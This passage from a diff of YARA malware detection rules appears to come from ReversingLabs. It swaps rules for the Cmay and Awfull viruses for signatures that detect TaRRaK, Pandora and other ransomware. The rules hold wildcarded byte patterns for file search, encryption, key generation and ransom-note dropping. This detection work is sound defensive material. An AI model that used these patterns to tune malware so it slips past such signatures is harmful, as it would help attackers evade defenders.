83 C6 ?? 8D 84 24 ?? ?? ?? ?? - 3B F0 72 ?? 8B 74 24 ?? 8D 44 24 ?? 6A ?? 50 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 - 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 44 24 ?? 3D ?? ?? ?? ?? 75 ?? 2B F8 83 DB ?? E9 - ?? ?? ?? ?? 8B C7 0B C3 74 ?? 57 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 - 24 ?? 6A ?? 50 57 8D 84 24 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? - 5F 5E 33 C0 5B 8B E5 5D C2 + $encrypt_files_2 = { + 83 EC ?? 53 55 56 8B 74 24 ?? 8B C1 8B 36 57 89 54 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? + 8B F8 33 D2 8D 5F ?? 8B C6 F7 F3 33 C9 85 D2 0F 95 C1 89 54 24 ?? 33 D2 03 C8 89 4C + 24 ?? 0F AF CF 89 4C 24 ?? E8 ?? ?? ?? ?? 8B E8 89 6C 24 ?? 85 ED 0F 84 ?? ?? ?? ?? + 33 D2 8B CF E8 ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 83 64 24 ?? ?? + 48 89 6C 24 ?? 89 44 24 ?? 74 ?? 53 FF 74 24 ?? 89 5C 24 ?? 56 E8 ?? ?? ?? ?? 83 C4 + ?? 8D 44 24 ?? 57 50 56 33 C0 50 50 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? + ?? ?? ?? 33 C9 85 FF 74 ?? 8B 54 24 ?? 8D 6E ?? 03 EF 8A 45 ?? 4D 88 04 11 41 3B CF + 72 ?? 8B 6C 24 ?? 8B 44 24 ?? 03 44 24 ?? 01 5C 24 ?? 89 44 24 ?? 8B 44 24 ?? 40 89 + 44 24 ?? 3B 44 24 ?? 72 ?? 8B 44 24 ?? 85 C0 0F 45 D8 53 FF 74 24 ?? 89 5C 24 ?? 56 + E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 57 50 56 6A ?? 6A ?? 6A ?? FF 74 24 ?? FF 15 ?? + ?? ?? ?? 8B D8 F7 DB 1A DB 80 E3 ?? 33 C9 85 FF 74 ?? 8B 6C 24 ?? 8D 56 ?? 03 D7 8A + 02 4A 88 04 29 41 3B CF 72 ?? 8B 6C 24 ?? 8B CE E8 ?? ?? ?? ?? 84 DB 75 ?? 8B CD E8 + ?? ?? ?? ?? 33 ED EB ?? 32 DB EB ?? 8B 4C 24 ?? 8B 44 24 ?? 89 01 5F 5E 8B C5 5D 5B + 83 C4 ?? C3 + } + $find_files_1 = { + 81 EC ?? ?? ?? ?? 53 56 57 8B BC 24 ?? ?? ?? ?? 8B F2 89 74 24 ?? 8B D9 85 FF 0F 84 + ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 8B D7 C1 E2 ?? 8B + CE E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 + 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D3 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 84 C0 + 0F 84 ?? ?? ?? ?? 55 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D + 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B E8 + 83 FD ?? 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 8B 44 + 24 ?? 83 E0 ?? 74 ?? F6 84 24 ?? ?? ?? ?? ?? 75 ?? 85 C0 75 ?? F6 84 24 ?? ?? ?? ?? + ?? 74 ?? 33 F6 85 FF 74 ?? 8B 44 24 ?? FF 34 B0 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 + C0 75 ?? 46 3B F7 72 ?? EB ?? FF B4 24 ?? ?? ?? ?? 8D 44 24 ?? 50 53 FF 94 24 ?? ?? + ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 74 ?? FF B4 24 ?? ?? + ?? ?? FF 15 ?? ?? ?? ?? 8B 74 24 ?? F6 44 24 ?? ?? 74 ?? F6 84 24 ?? ?? ?? ?? ?? 74 + ?? 8D 44 24 ?? 50 8B D3 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 84 C0 74 ?? 83 BC 24 + ?? ?? ?? ?? ?? 74 ?? FF B4 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 8B + D6 FF B4 24 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? + ?? FF B4 24 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 55 FF 15 ?? ?? ?? + ?? 85 C0 0F 85 ?? ?? ?? ?? EB ?? 83 64 24 ?? ?? 55 FF 15 ?? ?? ?? ?? 5D 5F 5E 5B 81 + C4 ?? ?? ?? ?? C3 + } + $find_files_2 = { + 81 EC ?? ?? ?? ?? 8D 44 24 ?? 53 55 56 68 ?? ?? ?? ?? 50 8B D9 FF 15 ?? ?? ?? ?? 8B + F0 85 F6 0F 84 ?? ?? ?? ?? 8D 6C 24 ?? 8D 6C 75 ?? 33 C0 66 89 44 74 ?? 68 ?? ?? ?? + ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 59 E8 ?? ?? ?? ?? 83 C0 ?? 6A ?? 59 66 89 + 45 ?? E8 ?? ?? ?? ?? 83 C0 ?? 66 89 44 74 ?? 8D 84 24 ?? ?? ?? ?? 50 8D 44 24 ?? 50 + FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 50 FF 15 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 84 C0 74 ?? 8D 84 24 ?? ?? ?? ?? 50 55 FF 15 ?? ?? ?? ?? 83 64 24 ?? ?? 8D 44 + 24 ?? 50 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 44 24 ?? 50 53 + FF 15 ?? ?? ?? ?? 5E 5D 5B 81 C4 ?? ?? ?? ?? C3 + } + $find_files_3 = { + 81 EC ?? ?? ?? ?? 53 55 56 8B D9 57 8B FA 85 DB 74 ?? 33 D2 E8 ?? ?? ?? ?? 8B F0 85 + F6 0F 84 ?? ?? ?? ?? 57 56 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? + 83 C4 ?? 8B CE E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 C6 43 ?? ?? FF 15 ?? ?? ?? ?? + 0D ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 + ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? EB ?? 57 FF 15 ?? ?? ?? ?? 0D ?? ?? ?? ?? 50 57 FF + 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D7 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 84 C0 0F + 84 ?? ?? ?? ?? 8B B4 24 ?? ?? ?? ?? 80 7E ?? ?? 75 ?? 8B 15 ?? ?? ?? ?? 8D 8C 24 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? + 50 FF 15 ?? ?? ?? ?? 8B E8 83 FD ?? 0F 84 ?? ?? ?? ?? 83 64 24 ?? ?? 6A ?? FF 35 ?? + ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 84 C0 + 0F 85 ?? ?? ?? ?? F7 44 24 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 83 7C 24 ?? ?? 75 ?? 56 + 57 FF 15 ?? ?? ?? ?? 50 8B D7 8B CB E8 ?? ?? ?? ?? 59 59 89 44 24 ?? 85 C0 0F 84 ?? + ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 50 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? F6 44 + 24 ?? ?? 74 ?? 80 7E ?? ?? 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 56 FF B4 24 ?? + ?? ?? ?? 8D 54 24 ?? E8 ?? ?? ?? ?? 59 59 EB ?? 80 7E ?? ?? 74 ?? 85 DB 74 ?? 83 7C + 24 ?? ?? 7C ?? 7F ?? 81 7C 24 ?? ?? ?? ?? ?? 72 ?? 80 3E ?? 74 ?? 6A ?? 8D 44 24 ?? + 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 56 8D 44 24 ?? 50 FF 74 24 ?? FF 94 24 ?? ?? ?? ?? + 83 C4 ?? 85 C0 74 ?? 8D 44 24 ?? 50 55 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 55 + FF 15 ?? ?? ?? ?? 5F 5E 5D 5B 81 C4 ?? ?? ?? ?? C3 } condition: - uint16( 0 ) == 0x5A4D and ( $enumerate_physical_drives and $corrupt_drive_thread ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_* ) ) and ( all of ( $encrypt_files_* ) ) } - -rule REVERSINGLABS_Win32_Virus_Cmay : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Tarrak : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects Cmay virus." + description = "Yara rule that detects TaRRaK ransomware." author = "ReversingLabs" - id = "d61e09f1-1d3f-5e1e-9884-25f1a465e88d" - date = "2020-06-26" - modified = "2020-07-15" + id = "a783df87-0c9b-5868-9af0-c32b11e8b71b" + date = "2021-09-06" + modified = "2021-09-06" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/virus/Win32.Virus.Cmay.yara#L3-L73" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.TaRRaK.yara#L1-L96" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f3bdf772eb80c632a913621732d12ae4a02bc7d3ba41f51711aa329be2ca6220" + logic_hash = "a8c4c4a501d94da94ae4a2e1eb2846e841249659be64dd45f46584885d000635" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Virus" - tc_detection_name = "Cmay" + tc_detection_type = "Ransomware" + tc_detection_name = "TaRRaK" tc_detection_factor = 5 importance = 25 strings: - $cmay_body_1 = { - 60 66 9C E8 00 00 00 00 5D 8B C5 81 ED ?? ?? ?? ?? 2D 08 00 00 00 2D - ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E8 3A 02 00 00 0F 82 7C 03 00 00 8D B5 - ?? ?? ?? ?? 8D BD ?? ?? ?? ?? E8 4F 02 00 00 E8 05 00 00 00 E9 61 03 - 00 00 8D BD ?? ?? ?? ?? C6 85 ?? ?? ?? ?? 03 6A 7F 57 FF 95 ?? ?? ?? - ?? 83 C7 7F 6A 7F 57 FF 95 ?? ?? ?? ?? 83 C7 7F 57 6A 7F FF 95 ?? ?? - ?? ?? 8D BD ?? ?? ?? ?? 80 BD ?? ?? ?? ?? 00 0F 84 20 03 00 00 FE 8D - ?? ?? ?? ?? 57 FF 95 ?? ?? ?? ?? 83 C7 7F 8D 9D ?? ?? ?? ?? 53 8D 9D - ?? ?? ?? ?? 53 FF 95 ?? ?? ?? ?? 83 F8 FF 74 CA 89 85 ?? ?? ?? ?? FF - 85 ?? ?? ?? ?? E8 C0 02 00 00 83 F8 FF 74 75 E8 70 02 00 00 85 C0 74 - 6C 8B 85 ?? ?? ?? ?? 8B 50 3C 3B 95 ?? ?? ?? ?? 73 5B 03 D0 8B 02 35 - 96 23 00 00 3D C6 66 00 00 75 4B 81 7A 4C 53 54 30 00 74 42 52 FF B5 - ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 5A FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? - E8 79 00 00 00 8F 85 ?? ?? ?? ?? 8F 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? - 05 7E 0E 80 BD ?? ?? ?? ?? 00 0F 85 40 FF FF FF C3 57 8D BD ?? ?? ?? - ?? B9 04 01 00 00 32 C0 F3 AA 5F FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? - FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? - ?? 8D 9D ?? ?? ?? ?? 53 FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 85 C0 74 - 05 E9 2A FF FF FF E9 E9 FE FF FF 8B B5 ?? ?? ?? ?? 81 C6 ?? ?? ?? ?? - 8B 5A 3C E8 87 01 00 00 89 B5 ?? ?? ?? ?? E8 8B 01 00 00 33 DB 8B 95 - ?? ?? ?? ?? 8B 42 3C 03 D0 0F B7 42 06 48 6B C0 28 0F B7 5A 14 83 C3 - 18 03 DA 03 C3 8B 58 10 03 58 14 03 9D ?? ?? ?? ?? 53 8B 4A 28 89 8D - ?? ?? ?? ?? 8B 4A 34 89 8D ?? ?? ?? ?? 8B 48 0C 03 48 10 89 8D ?? ?? - ?? ?? 89 4A 28 8B 70 10 81 C6 ?? ?? ?? ?? 8B 5A 3C E8 1D 01 00 00 89 - 70 10 89 70 08 03 70 0C 89 72 50 81 48 24 20 00 00 A0 C7 42 4C 53 54 + $encrypt_files_p1 = { + 03 28 ?? ?? ?? ?? 0A 16 0B 2B ?? 06 07 9A 0C 73 ?? ?? ?? ?? 0D 09 08 28 ?? ?? ?? ?? 7D + ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 09 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? + 02 08 28 ?? ?? ?? ?? 07 17 58 0B 07 06 8E 69 32 ?? DE ?? 26 DE ?? 00 03 28 ?? ?? ?? ?? + 0A 16 0B 2B ?? 06 07 9A 13 ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? + ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? + ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? + 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 02 11 ?? 28 ?? ?? ?? ?? + 07 17 58 0B 07 06 8E 69 32 ?? DE ?? 26 DE ?? 2A } - $cmay_body_2 = { - 30 00 5B B9 ?? ?? ?? ?? FC 8B FB 8D B5 ?? ?? ?? ?? F3 A4 FF B5 ?? ?? - ?? ?? FF 95 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? FF B5 ?? - ?? ?? ?? FF 95 ?? ?? ?? ?? C3 50 51 B9 05 00 00 00 8B 44 24 2E 25 00 - 00 FF FF 66 81 38 4D 5A 74 09 2D 00 00 01 00 E2 F2 EB 06 89 85 ?? ?? - ?? ?? 59 58 74 01 F9 C3 56 8B 95 ?? ?? ?? ?? 8B 72 3C 03 F2 8B 76 78 - 03 F2 83 C6 1C AD 03 C2 89 85 ?? ?? ?? ?? AD 03 C2 89 85 ?? ?? ?? ?? - AD 03 C2 89 85 ?? ?? ?? ?? 5E 57 E8 16 00 00 00 5F 89 07 83 C7 04 80 - 3E 88 C7 85 ?? ?? ?? ?? 00 00 00 00 75 E5 C3 8B DE 80 3E 00 74 03 46 - EB F8 46 8B CE 2B CB 8B F3 8B BD ?? ?? ?? ?? 57 8B 3F 03 FA 51 F3 A6 - 74 0F 8B F3 59 5F 83 C7 04 FF 85 ?? ?? ?? ?? EB E7 59 5F 8B 85 ?? ?? - ?? ?? D1 E0 03 85 ?? ?? ?? ?? 33 DB 66 8B 18 C1 E3 02 03 9D ?? ?? ?? - ?? 8B 1B 03 DA 8B C3 C3 50 52 33 D2 8B C6 F7 F3 2B DA 03 F3 5A 58 C3 - 8B 85 ?? ?? ?? ?? 6A 00 50 6A 00 6A 04 6A 00 FF B5 ?? ?? ?? ?? FF 95 - ?? ?? ?? ?? 85 C0 74 1E 89 85 ?? ?? ?? ?? 6A 00 6A 00 6A 00 6A 02 FF - B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 85 C0 75 02 33 C0 89 85 ?? ?? ?? ?? - C3 33 C0 50 68 80 00 00 00 6A 03 50 40 50 68 00 00 00 C0 8D B5 ?? ?? - ?? ?? 56 FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C3 85 ED 0F 84 2A 04 00 - 00 33 C0 05 ?? ?? ?? ?? 05 ?? ?? ?? ?? FF E0 + $encrypt_files_p2 = { + 03 8E 69 17 59 0A 06 17 2F ?? 03 2A 03 06 95 0B 16 0D 1C 1F ?? 06 17 58 5B 58 13 ?? 2B + ?? 09 20 ?? ?? ?? ?? 58 0D 09 18 64 19 5F 13 ?? 16 13 ?? 2B ?? 03 11 ?? 17 58 95 0C 03 + 11 ?? 8F ?? ?? ?? ?? 25 4B 02 09 08 07 11 ?? 11 ?? 04 28 ?? ?? ?? ?? 58 25 13 ?? 54 11 + ?? 0B 11 ?? 17 58 13 ?? 11 ?? 06 32 ?? 03 16 95 0C 03 06 8F ?? ?? ?? ?? 25 4B 02 09 08 + 07 11 ?? 11 ?? 04 28 ?? ?? ?? ?? 58 25 13 ?? 54 11 ?? 0B 16 11 ?? 25 17 59 13 ?? 32 ?? + 03 2A + } + $encrypt_files_p3 = { + 05 1B 64 04 18 62 61 04 19 64 05 1A 62 61 58 03 04 61 0E ?? 0E ?? 19 5F 6A 0E ?? 6E 61 + D4 95 05 61 58 61 2A + } + $encrypt_files_p4 = { + 03 8E 2D ?? 03 2A 02 02 02 03 17 28 ?? ?? ?? ?? 02 02 7B ?? ?? ?? ?? 16 28 ?? ?? ?? ?? + 28 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 2A + } + $find_files_p1 = { + 73 ?? ?? ?? ?? 25 02 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 25 + 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? + ?? 6F ?? ?? ?? ?? 2A + } + $find_files_p2 = { + 73 ?? ?? ?? ?? 25 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 1B 28 ?? ?? ?? ?? 6F ?? ?? ?? + ?? 25 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 1F + ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2A + } + $change_desktop = { + 1F ?? 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 06 28 ?? ?? ?? + ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 17 + 8C ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 8C ?? ?? ?? ?? 6F ?? ?? ?? ?? 1F ?? 16 + 06 19 28 ?? ?? ?? ?? 26 DE ?? 26 DE ?? 2A + } + $drop_ransom_note = { + 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 2A 00 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 02 7B ?? ?? + ?? ?? 6F ?? ?? ?? ?? 0D 12 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? + ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 07 06 6F ?? ?? ?? ?? 26 07 6F ?? + ?? ?? ?? 26 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? + 2B ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 07 11 ?? 6F ?? ?? ?? ?? 26 12 ?? 28 ?? ?? ?? ?? 2D ?? + DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? DC 07 6F ?? ?? ?? ?? 0C 02 28 ?? ?? ?? ?? + 6F ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 02 7B ?? ?? ?? ?? 28 ?? ?? + ?? ?? 06 28 ?? ?? ?? ?? 11 ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 28 ?? ?? ?? ?? DE ?? + 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC DE ?? 26 + DE ?? 2A } condition: - uint16( 0 ) == 0x5A4D and ( $cmay_body_1 at pe.entry_point ) and $cmay_body_2 + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( $change_desktop ) and ( $drop_ransom_note ) } - -rule REVERSINGLABS_Win32_Virus_Awfull : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win64_Ransomware_Pandora : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects Awfull virus." + description = "Yara rule that detects Pandora ransomware." author = "ReversingLabs" - id = "34104923-b401-5d39-883b-aa9a5a8e64f3" - date = "2020-06-26" - modified = "2020-07-15" + id = "18182bbe-1678-5d0b-a7ee-80c4bbaee99e" + date = "2022-06-01" + modified = "2022-06-01" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/virus/Win32.Virus.Awfull.yara#L3-L33" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.Pandora.yara#L1-L95" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "84a4faee4cbbb3387ad25bd9230c6482b8db461bc008312bc782f23e3df2eae3" + logic_hash = "6576bde36ae9a9bc2e9dd878db788c608083b84d96d31e6898f48a264c6b7f1a" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Virus" - tc_detection_name = "Awfull" + tc_detection_type = "Ransomware" + tc_detection_name = "Pandora" tc_detection_factor = 5 importance = 25 strings: - $awfull_body = { - 60 E8 ?? 00 00 00 8B 64 24 08 EB ?? [0-256] - 33 D2 64 FF 32 64 89 22 33 C0 C7 00 00 00 00 00 33 D2 64 8F 02 - 5A 64 (8B 0D | 67 8B 0E ) 14 00 [0-2] E3 03 FA - EB FD 61 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 0B ED 74 ?? - [0-128] (BE | 8B 35) ?? ?? ?? ?? 03 F5 B9 ?? ?? ?? ?? - 56 5F AC F6 D0 AA 49 E3 02 EB F7 + $find_files_p1 = { + 41 57 41 56 41 55 41 54 56 57 55 53 48 83 EC ?? 48 89 4C 24 ?? C7 44 24 ?? ?? ?? ?? + ?? 45 31 F6 41 BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? + ?? 48 89 4C 24 ?? 45 31 C0 41 81 FA ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 0F + 4C CA 41 0F 94 C0 48 8B 8C 08 ?? ?? ?? ?? 48 01 F1 31 D2 31 DB 41 81 FA ?? ?? ?? ?? + 0F 9C C2 0F 95 C3 41 BD ?? ?? ?? ?? 49 29 D5 41 81 FA ?? ?? ?? ?? BF ?? ?? ?? ?? BA + ?? ?? ?? ?? 48 0F 4C FA 4C 8D 4C 9B ?? 41 BB ?? ?? ?? ?? BA ?? ?? ?? ?? 4C 0F 44 DA + 49 83 C8 ?? 31 DB 31 D2 41 81 FA ?? ?? ?? ?? 0F 9C C3 4C 8D 64 1B ?? 0F 94 C2 48 83 + F2 ?? 31 DB 41 81 FA ?? ?? ?? ?? 0F 94 C3 48 8D 1C DB 48 83 C3 ?? EB ?? 0F 1F 40 ?? + 4A 8B AC C0 ?? ?? ?? ?? 48 01 F5 FF E5 FF E1 4A 8B AC E0 ?? ?? ?? ?? 48 01 F5 FF E5 + 48 8B AC D8 ?? ?? ?? ?? 48 01 F5 FF E5 0F 1F 80 ?? ?? ?? ?? 48 8B AC F8 ?? ?? ?? ?? + 48 01 F5 FF E5 4A 8B AC E8 ?? ?? ?? ?? 48 01 F5 FF E5 4A 8B AC D8 ?? ?? ?? ?? 48 01 + } + $find_files_p2 = { + F5 FF E5 66 0F 1F 84 00 ?? ?? 00 00 48 8B AC D0 ?? ?? ?? ?? 48 01 F5 FF E5 4A 8B AC + C8 ?? ?? ?? ?? 48 01 F5 FF E5 44 89 74 24 ?? 48 63 4C 24 ?? 48 8B 54 24 ?? 48 8B 8C + CA ?? ?? ?? ?? 48 89 4C 24 ?? 48 8B 4C 24 ?? 8B 54 24 ?? BD ?? ?? ?? ?? 01 EA 44 8B + 54 24 ?? BD ?? ?? ?? ?? 41 01 EA 66 83 39 ?? 44 0F 45 D2 E9 ?? ?? ?? ?? 45 31 FF EB + ?? 66 2E 0F 1F 84 00 ?? ?? 00 00 90 41 BF ?? ?? ?? ?? 44 8B 54 24 ?? 41 81 C2 ?? ?? + ?? ?? E9 ?? ?? ?? ?? 66 0F 1F 84 00 ?? ?? 00 00 44 8B 74 24 ?? 41 83 C6 ?? 48 8B 54 + 24 ?? 48 8B 05 ?? ?? ?? ?? 48 8B 80 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 01 C8 48 8B 4C 24 + ?? FF D0 8B 4C 24 ?? BA ?? ?? ?? ?? 01 D1 44 8B 54 24 ?? BA ?? ?? ?? ?? 41 01 D2 85 + C0 44 0F 44 D1 E9 ?? ?? ?? ?? 44 89 F8 48 83 C4 ?? 5B 5D 5F 5E 41 5C 41 5D 41 5E 41 + 5F C3 + } + $generate_key = { + 41 57 41 56 41 55 41 54 56 57 55 53 48 81 EC ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 + 8D B4 24 ?? ?? ?? ?? 48 89 74 24 ?? 48 8B 44 24 ?? 48 8B 05 ?? ?? ?? ?? 48 C7 C5 ?? + ?? ?? ?? 48 8B 80 ?? ?? ?? ?? 48 01 E8 41 BC ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 4C 01 + E1 BA ?? ?? ?? ?? 48 03 15 ?? ?? ?? ?? FF D0 48 8B 05 ?? ?? ?? ?? 48 8B 4C 24 ?? 0F + B7 90 ?? ?? ?? ?? 66 89 51 ?? 48 8B 80 ?? ?? ?? ?? 48 89 01 48 8B 05 ?? ?? ?? ?? 48 + 8B 80 ?? ?? ?? ?? 48 01 E8 48 8B 0D ?? ?? ?? ?? 4C 01 E1 FF D0 48 8B 05 ?? ?? ?? ?? + 48 8B 80 ?? ?? ?? ?? 48 01 E8 48 8B 0D ?? ?? ?? ?? 4C 01 E1 FF D0 48 8B 05 ?? ?? ?? + ?? 48 8B 80 ?? ?? ?? ?? 48 01 E8 48 89 F1 FF D0 48 98 4C 8B 05 ?? ?? ?? ?? 4D 01 E0 + 48 8B 0D ?? ?? ?? ?? 48 8B 99 ?? ?? ?? ?? 48 01 EB 48 8B 0D ?? ?? ?? ?? 4C 01 E1 48 + 89 44 24 ?? 48 8D 15 ?? ?? ?? ?? 49 89 F1 FF D3 89 84 24 ?? ?? ?? ?? B9 ?? ?? ?? ?? + 45 31 ED 41 BE ?? ?? ?? ?? 41 BF ?? ?? ?? ?? BB ?? ?? ?? ?? EB ?? 81 F9 ?? ?? ?? ?? + BA ?? ?? ?? ?? BF ?? ?? ?? ?? 48 0F 44 D7 48 8B 04 10 4C 01 F0 FF E0 + } + $drop_ransom_note = { + 48 8B 05 ?? ?? ?? ?? 48 8B 80 ?? ?? ?? ?? BD ?? ?? ?? ?? 48 01 E8 48 8B 0D ?? ?? ?? 